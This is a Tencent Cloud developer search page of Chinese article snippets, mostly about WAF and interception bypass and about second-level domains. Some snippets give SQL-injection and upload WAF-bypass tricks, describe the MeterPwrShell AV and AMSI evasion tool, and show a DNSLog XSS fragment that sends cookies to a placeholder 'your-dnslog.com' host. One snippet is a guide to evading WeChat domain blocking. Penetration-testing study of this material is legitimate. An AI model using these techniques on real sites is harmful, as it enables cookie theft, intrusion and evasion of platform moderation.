- 综合排序
- 最热优先
- 最新优先
- 来自专栏白安全组
burpsuite绕过网站拦截小技巧
有些网站为了安全性，会禁止用户使用burp并进行拦截。 大家都知道我们的burp开启后可以访问http://burp/来下载证书。 拦截burp的原理会根据网站会利用代码通过用户本地能加载burp的图标http://burp/favicon.ico，或者可以访问http://burp/ 我们解决这个只需要关闭这个功能即可 （勾上是关闭
3.4K20编辑于 2022-12-01 - 来自专栏全栈工程师修炼之路
WAF安全拦截绕过思路和手法
0x00 介绍前言 收集之中 WAF绕过方法: HPP(参数污染)方式 判断注入: xor 可直接过大部分的防护(包括安全狗) order by 大部分WAF默认拦截(包括安全狗) union 不拦截 select 不拦截 union selec 不拦截 union select 拦截 注:以上是在GET方式下的结果 POST下: and 不拦截 union select 不拦截 底线为↓ union select 1,2 from 这里开始被拦截 实际上真正要绕过的是from是否被匹配 安全狗WAF ByPass之HPP应用 描述: 一个有趣的注入点(可以使用其绕过SafeDog) #正常访问
67530编辑于 2022-09-29 - 来自专栏全栈工程师修炼之路
WAF安全拦截绕过思路和手法
0x00 介绍前言 收集之中 WAF绕过方法: HPP(参数污染)方式 判断注入: xor 可直接过大部分的防护(包括安全狗) order by 大部分WAF默认拦截(包括安全狗) union 不拦截 select 不拦截 union selec 不拦截 union select 拦截 注:以上是在GET方式下的结果 POST下: and 不拦截 union select 不拦截 底线为↓ union select 1,2 from 这里开始被拦截 实际上真正要绕过的是from是否被匹配 安全狗WAF ByPass之HPP应用 描述: 一个有趣的注入点(可以使用其绕过SafeDog) #正常访问
1.4K20发布于 2020-10-23 微信域名拦截原理拆解+二级域名绕过技巧（2026实操版）| 私域引流防封指南
私域推广、引流从业者常遇微信域名拦截问题，轻则错失流量，重则损失营收。微信拦截并非随机，而是三重风控逻辑，二级域名能绕开拦截，核心是利用其“单域名拦截”特性。 关键细节：微信黑名单以“单域名”为单位，主域与二级域互不连带，这是二级域名绕拦的核心前提。 二、二级域名绕过微信拦截的5个实操技巧二级域名绕拦核心：单域名拦截特性+无需单独备案、可快速切换。以下技巧从基础到进阶。 技巧2：核心款——二级域名+跳板页（防封率90%+）结构：微信→合规二级域（跳板）→真实落地页。 五、总结微信域名拦截核心是“风控分层、单域拦截”，二级域名绕拦本质是合规前提下的风险分散。短期可通过“二级域名+跳板页+轮询”保障业务，长期需做好合规运营、优化配置，才能实现域名稳定，避免得不偿失。
20710编辑于 2026-04-10- 来自专栏洛米唯熊
扫目录+N多代理IP绕过拦截
在渗透测试的时候,很担心平时在扫WEB目录的时候,频繁的请求会容易被封IP.被封IP以后.要么等上一段时间,要么更换自己的IP.重新启动扫描器.这样的效率很低下,也很浪费自己的工作时间.
2.2K10发布于 2020-04-08 - 来自专栏洛米唯熊
sqlmap+外部代理池绕过IP拦截
3.sqlmap加上代理"--proxy=http://127.0.0.1:5320"
1.9K30发布于 2020-04-12 - 来自专栏HACK学习
干货 | 最全的文件上传漏洞之WAF拦截绕过总结
大致步骤如下： 1.获取Request Header里的Content-Type值中获取boundary值2.根据第一步的boundary值，解析POST数据，获取文件名3.判断文件名是否在拦截黑名单内 /白名单外 了解了WAF如何对恶意文件进行拦截之后，我将常见的绕过方法分为如下几类，最后再使用目前最新版的安全狗进行绕过演示。 若WAF匹配文件名到换行截止，则可以绕过。 最后测出的结果如下，长度为3710个字符： image-20220122154848589 虽然并没有帮我们上传上去，但是可以成功绕过安全狗拦截。 image-20220122161340032 成功绕过。
15.7K56编辑于 2022-02-17 - 来自专栏守望轩
关于二级域名(泛二级域名)的实现
id=242 3.参考上面的网址的介绍,通过dns服务器和url Re_write 组件的方法我均未能实现二级域名跳转,原因不明. 4,利用iis和程序来实现二级域名(泛二级域名)跳转 1)配置一个主机头留空的虚拟站点
24.9K100发布于 2018-01-08 - 来自专栏用户8739990的专栏
什么是二级域名？如何申请二级域名？
如果大家留心观察的话，就能够发现很多博客和大型的论坛所使用的都会是二级域名。可能很多人对于这一选择并不是特别的理解，明明二级域名之上还有顶级域名，但却偏偏选择了二级域名。 接下来就带大家一起了解一下，什么是二级域名以及如何申请二级域名。 什么是二级域名？ 对于什么是二级域名，其实就可以把它当作一个独立的站点来看。在使用二级域名的时候，并不会影响到主站。 二级域名是在解析顶级域名的过程中所产生的，要是没有顶级域名的话，二级域名也就不会存在了。 一般来说，在对于顶级域名备好案了以后，我们可以在解析过程中生成多个二级域名来进行使用，而这一过程则不需要再进行备案了，所以二级域名更加方便。 如何申请二级域名？ 以上就是关于什么是二级域名以及如何申请二级域名的相关回答，希望能够借此促进大家对于二级域名的了解。
36.6K20发布于 2021-08-13 - 来自专栏隐身
二级域名不死原理
为了应对这一挑战，二级域名不死技术应运而生，成为域名防封的新策略。 ①、二级域名不死的基本概念 二级域名不死，顾名思义，是指在一级域名被封禁的情况下，其下属的二级子域名仍然能够正常访问。 ②、二级域名不死的原理 二级域名不死的实现原理主要基于 以下几点： 1. 域名解析与跳转：在一级域名被封禁后，二级子域名可以通过独立的DNS解析，将其指向一个未被封禁的服务器或IP地址。 三、二级域名不死的应用场景 二级域名不死技术在多个领域都有广泛的应用： 1. 社交媒体与推广：在微信等社交媒体平台上，由于审核机制较为严格，一级域名很容易被封禁。 通过部署二级域名不死技术，可以有效降低因域名被封禁而导致的流量损失和客户流失。 结语 二级域名不死技术作为一种创新的域名防封策略，为网站运营者提供了更多的选择和可能性。 总之，二级域名不死技术以其独特的原理和应用价值，成为了互联网领域的一大创新。
7.8K10编辑于 2024-12-05 - 来自专栏用户8739990的专栏
什么是二级域名 二级域名怎么弄
很多人对一级域名和二级域名的概念不是很清楚。那么什么是二级域名？二级域名怎么弄呢？今天小编就为大家介绍一下关于一级域名和二级域名的相关信息。 什么是二级域名？ image.png 二级域名怎么弄？ 二级域名怎么弄？ 首先我们要购买一个域名空间和主机，而主机对域名的绑定是有一定数量限制的，我们可以选择云服务器来进行二级域名的绑定，云服务器对二级域名的绑定没有限制，只要我们有域名的管理权限，从理论上来讲，是可以无限制的绑定二级域名的 登陆我们的云服务器账户，在域名管理中选择我们购买的一级域名，进入域名解析，点击添加域名，输入自己想要的二级域名，点击添加解析，按照提示设置我们的二级域名信息。点击确认。我们的二级域名就申请好了。 以上就是小编为大家介绍的关于二级域名的概念，以及二级域名怎么弄的相关信息。很多人看到上面提到的类别域名，看到com，net这些国际通用顶级域名作为二级域名就有疑惑。
38.1K30发布于 2021-07-23 - 来自专栏钟绍威的专栏
实现二级域名
实现二级域名有几种方式 服务器做反向代理 服务器设置域名配置 更改服务器默认访问项目 服务器反向代理可以参考http://www.wewill.top/2016/06/14/apache反向代理/ 在这里主要说说服务器设置域名转发
19.7K80发布于 2018-02-05 - 来自专栏网站漏洞修复
渗透测试公司 该如何检测CSRF漏洞 原
通常我们SINE安全在渗透测试客户网站是否存在csrf漏洞，首先采用点击的形式去测试漏洞，在一个网站功能上利用点击的方式绕过安全效验与拦截，从技术层面上来讲，点击的请求操作来自于信任的网站，是不会对csrf 再一个检测漏洞的方式更改请求方式，比如之前网站使用的都是get提交方式去请求网站的后端，我们可以伪造参数，抓包修改post提交方式发送过去，就可以绕过网站之前的安全防护，直接执行CSRF恶意代码，漏洞产生的原因就是 ，网站开发者只针对了GET请求方式进行安全拦截，并没有对post的方式进行拦截，导致漏洞的发生。 有些客户网站使用了token来防止XSS跨站的攻击，在设计token的时候没有考虑到空值是否可以绕过的问题，导致可以token为空，就可以直接将恶意代码传入到后端中去。 对referer字段进行安全效验，检查URL是否是白名单里的，对于referer为空直接拦截掉该请求，URL的白名单要含有WWW，拒绝二级域名的请求。
1.2K10发布于 2019-09-08 - 来自专栏网站漏洞修补
渗透测试服务 针对CSRF漏洞检测与代码防御办法
通常我们SINE安全在渗透测试客户网站是否存在csrf漏洞，首先采用点击的形式去测试漏洞，在一个网站功能上利用点击的方式绕过安全效验与拦截，从技术层面上来讲，点击的请求操作来自于信任的网站，是不会对csrf 再一个检测漏洞的方式更改请求方式，比如之前网站使用的都是get提交方式去请求网站的后端，我们可以伪造参数，抓包修改post提交方式发送过去，就可以绕过网站之前的安全防护，直接执行CSRF恶意代码，漏洞产生的原因就是 ，网站开发者只针对了GET请求方式进行安全拦截，并没有对post的方式进行拦截，导致漏洞的发生。 有些客户网站使用了token来防止XSS跨站的攻击，在设计token的时候没有考虑到空值是否可以绕过的问题，导致可以token为空，就可以直接将恶意代码传入到后端中去。 对referer字段进行安全效验，检查URL是否是白名单里的，对于referer为空直接拦截掉该请求，URL的白名单要含有WWW，拒绝二级域名的请求。
73740发布于 2019-09-06 - 来自专栏Khan安全团队
MeterPwrShell：绕过AMSI，绕过防火墙，绕过UAC和绕过任何AV
功能（v1.5.0） 绕过UAC 自动迁移（使用PrependMigrate） 内置GetSYSTEM（如果您使用Bypass UAC选项） 禁用所有防火墙配置文件（如果您使用 “绕过UAC”选项） 完全绕过Windows Defender实时保护（如果您选择缩短的有效负载或使用绕过UAC或同时使用两者） 禁用Windows Defender安全功能（如果您使用 “绕过UAC”选项） 完全无法杀死的有效载荷 成功绕过AMSI（如果您选择缩短的有效负载） 短单线（如果您选择缩短的有效载荷） 绕过防火墙（如果选择未分段的有效负载） MeterPwrShell的优势 各种AMSI旁路技术和代码 不需要为登台者设置服务器 支持内置的Ngrok（因此受害者不必在同一本地网络上） 自动内置Privesc 轻松绕过
1.3K30发布于 2021-05-08 - 来自专栏用户8739990的专栏
怎么弄二级域名？二级域名什么意思？
当你购买一个主域名之后可以生成无数个二级域名。很多朋友只完成了第一步却不清楚怎么弄二级域名，所以下面就让我来给大家简单讲讲。 image.png 怎么弄二级域名？ 等你申请表格通过之后你就可以登录管理二级域名了。进去平台以后你会看到购买的域名，然后点击域名解析，解析完毕点击保存过个几分钟二级域名就可以用了，这就是怎么弄二级域名最直观的方法。 二级域名什么意思？ 想了解二级域名什么意思，就得先知道域名的不同等级，域名分为三个等级，分别为顶级、一级以及二级域名。 但是二级域名在国家顶级域名里一般指的是功能和类别，像是娱乐性或是商业性等等。 总而言之，上述就是怎么弄二级域名的方式以及意义，如果想要弄二级域名按流程来就行。 值得注意的是，一般系统都默认二级域名是开启状态的，如果不想让它呈现开启状态去系统管理平台关掉就好了。不过大部分情况都需要二级域名，所以不建议关闭。
32K30发布于 2021-08-06 - 来自专栏用户8739990的专栏
免费二级域名怎么弄呢？二级域名怎么关闭？
二级域名是主域名单独分出来的一个域名，虽然它的权重要比主域名低很多，但是它也是单独的一个分支。注册二级域名有很多好处，在日常生活中，我们很多的工作都是需要用到二级域名的。 当然了，二级域名申请很多都是要钱的，但是也有免费申请二级域名的方法，很多人不知道免费二级域名怎么弄，那么，免费二级域名怎么弄呢？下面我们一起来简单的了解一下吧。 二级域名怎么关闭？ 正常情况下电脑的系统是默认开启二级域名的，如果我们想要关闭二级域名的话，我们需要先去网站的系统管理后台，然后再设置菜单，把二级域名清空之后，再把二级域名用户连接那个选项关掉，这样就可以成功关闭二级域名了 免费二级域名怎么弄呢？总体来说，二级域名的申请方式是比较多的，我们可以申请到多种多样的二级域名，它的形式主要是按照我们的需求来申请的。
34.5K30发布于 2021-08-06 - 来自专栏世荣的博客
DNSLog的使用方法
我们只需要搭建一个红色部分的DNS服务器，并将要盲打或盲注的回显，放到自己域名的二级域名甚至三级域名上去请求，就可以通过DNS解析日志来获取它们。 场景三：XSS绕过CSP CSP（内容安全策略）是防御XSS最有效的手段之一。 当我们发现一个网站有XSS漏洞，想利用XSS平台来打Cookie时，CSP会通过白名单的方式禁止跨域加载脚本，恶意代码会被拦截，导致XSS无法利用。 这里，我们通过DNS解析突破CSP的拦截。 由于DNS预解析可以绕过CSP进行解析，结合DNSLOG，我们即可窃取在CSP保护下的Cookie。 document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>" 上面的Payload将Cookie中截取的重要字段进行简单的base64编码后，作为我们DNSLOG平台的二级域名
4.5K20编辑于 2022-03-21 - 来自专栏字节脉搏实验室
WAF的那点事
硬件型WAF 以硬件形式部署在链路中，支持多种部署方式，当串联到链路中时可以拦截恶意流量，在旁路监听模式时只记录攻击不进行拦截。 WAF方法 例如SQL注入漏洞绕过 1.大小写混合 在规则匹配时只针对特定大写或小写的情况，遇到时可以使用大小写混合绕过。 3.替换关键字 WAF采用替换或者删除select等敏感关键字的时候，如果只匹配一次则很容易进行绕过。 select polygon((select*from(select*from()a)b)); 7.寻找网站源站IP 对于有些waf防护的网站而言，可以找到真实ip地址，然后通过ip访问就可以进行绕过 ③找网站的二级域名、NS、MX记录等对应的IP。 ④使网站发送邮件给你，查看发送方的IP。
1.1K10发布于 2020-04-14 - 来自专栏nginx入门
nginx设置二级域名
nginx配置二级域名编辑nginx.conf 。 proxy_set_header host $http_host; proxy_pass http://0.0.0.0:8083; } }这里同一个机器的端口80，对应三个不同的二级域名 ，分别是： www.demo.abc.com www.demo01.abc.com www.demo02.abc.com 同样，这里的三个二级域名需要在DNS域名服务中进行配置，最少也需要在hosts文件中进行配置 优化这里，我们将不同的二级域名保存在了同一个配置文件中，我们可以将其拆分成独立的文件进行单独管理。 变更记录变更时间变更内容备注20220912星期一nginx域名的配置需要进行DNS的相关配置，普通用户启动nginx监听80端口需要进行特殊配置20220913星期二nginx二级域名配置可以将不同的二级域名配置抽离出不同的问题
11K40编辑于 2022-09-15
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号